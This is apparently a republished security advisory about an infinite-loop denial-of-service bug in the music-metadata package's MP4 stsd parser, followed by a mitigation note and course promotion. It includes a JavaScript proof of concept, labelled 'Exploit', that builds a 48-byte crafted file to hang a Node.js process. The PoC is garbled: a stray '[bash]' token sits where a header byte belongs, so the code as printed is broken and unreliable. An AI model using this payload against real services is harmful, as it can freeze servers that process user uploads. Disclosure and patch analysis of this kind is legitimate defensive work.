Listen to this Post
The vulnerability resides within the StsdAtom.get() function inside lib/mp4/AtomToken.ts of the music-metadata package, where an MP4 sample description (stsd) box’s entry table is parsed by advancing an internal cursor using off += size – 4. Here, size is a 32-bit, attacker-controlled per-entry length read directly from the input file. When an attacker supplies a crafted file with size equal to 0, the net advance for that iteration becomes zero because 4 + (0 – 4) equals 0, causing the offset off to never move forward. Consequently, the parsing loop endlessly re-reads the exact same 4 bytes representing the size on every single pass. Combined with an attacker-controlled entry_count value of up to 0xFFFFFFFF, the loop executes indefinitely without ever reaching an exit condition. Because StsdAtom.get is executed synchronously within strtok3’s AbstractTokenizer.readToken without any asynchronous await points inside the loop, it fails to yield control back to the Node.js event loop. This locks the process at roughly one hundred percent CPU utilization, completely hanging any service or application that processes user-uploaded audio or video metadata via parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream. A tiny 48-byte malicious file is entirely sufficient to trigger this unyielding denial of service condition across all tokenizer backends, making it a severe regression introduced by a recent offset adjustment fix on the master branch.
DailyCVE Form:
Platform: music-metadata library
Version: Master branch
Vulnerability: Infinite loop
Severity: High
Date: August 2026
Prediction: Expected next release
What Undercode Say:
The regression stems from a patch designed to fix sample entry offset locations by introducing off += size – 4 without implementing a safety check for size values less than 4. When size is 0, the math cancels out the mandatory 4-byte header skip, trapping the parser in a zero-advance cycle while table.push memory grows unboundedly.
timeout 8 node poc.mjs
import { parseBuffer } from 'music-metadata';
const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);
function build(entryCount, entrySize) {
const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
const stsdHeader = cat([bash], [0, 0, 0], u32be(entryCount));
const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]);
const payload = cat(stsdHeader, entry);
const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
return Uint8Array.from(cat(ftyp, stsd));
}
Exploit: (Educational Purposes!)
const hang = build(0xFFFFFFFF, 0);
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' });
Protection:
Implement strict boundary validation ensuring that entry size values are greater than or equal to 4 before performing offset arithmetic, preventing zero-advance loops and unvalidated cursor regressions.
Impact:
Any server or application processing user-supplied audio/video files can be permanently frozen at full CPU capacity and eventually crash from memory exhaustion via a single unauthenticated 48-byte file payload.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
